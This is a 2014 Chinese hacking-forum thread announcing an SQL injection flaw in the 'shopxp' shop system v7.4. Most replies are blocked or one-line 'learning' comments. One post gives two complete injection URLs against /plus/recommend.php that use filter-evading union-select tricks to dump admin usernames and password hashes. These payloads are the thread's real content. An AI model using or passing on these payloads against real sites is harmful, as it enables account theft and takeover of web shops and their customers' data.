shopxp网上购物系统 v7.4 SQL注入漏洞

guhu · 发表于 2014-7-26 02:37:23

提示: 作者被禁止或删除内容自动屏蔽

亚麻跌i · 发表于 2014-7-26 05:50:24

提示: 作者被禁止或删除内容自动屏蔽

zhanxiaobo · 发表于 2014-8-19 07:47:52

提示: 作者被禁止或删除内容自动屏蔽

b952658176 · 发表于 2014-8-25 23:56:24

Exp:
plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type] [type]=application/octet-stream&_FILES[type][size]=111

另外一枚/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `%23@__admin`%23

CH4 · 发表于 2014-8-26 03:03:33

看看学习一下

显示全部楼层 · 发表于 2014-8-27 20:35:45

提示: 作者被禁止或删除内容自动屏蔽

小涛 · 发表于 2014-8-27 21:00:30

瞅瞅和v8.0的区别

bclm518 · 发表于 2014-8-28 00:34:34

731046538 · 发表于 2014-10-19 13:31:44

这个好啊哈哈哈哈

Oshell丶Gr · 发表于 2014-10-20 19:07:44

学习 xxLZ

guhu guhu 当前离线积分 4 头像被屏蔽该用户从未签到	发表于 2014-7-26 02:37:23 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
guhu guhu 当前离线积分 4 头像被屏蔽该用户从未签到
	回复支持反对使用道具举报

亚麻跌i 亚麻跌i 当前离线积分 2 头像被屏蔽该用户从未签到	发表于 2014-7-26 05:50:24 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
亚麻跌i 亚麻跌i 当前离线积分 2 头像被屏蔽该用户从未签到
	回复使用道具举报

zhanxiaobo zhanxiaobo 当前离线积分 9 头像被屏蔽该用户从未签到	发表于 2014-8-19 07:47:52 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
zhanxiaobo zhanxiaobo 当前离线积分 9 头像被屏蔽该用户从未签到
	回复支持反对使用道具举报

蜂巢该用户已被删除	发表于 2014-8-27 20:35:45 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
蜂巢该用户已被删除
	回复支持反对使用道具举报

shopxp网上购物系统 v7.4 SQL注入漏洞

指导单位

旗下站点

联系我们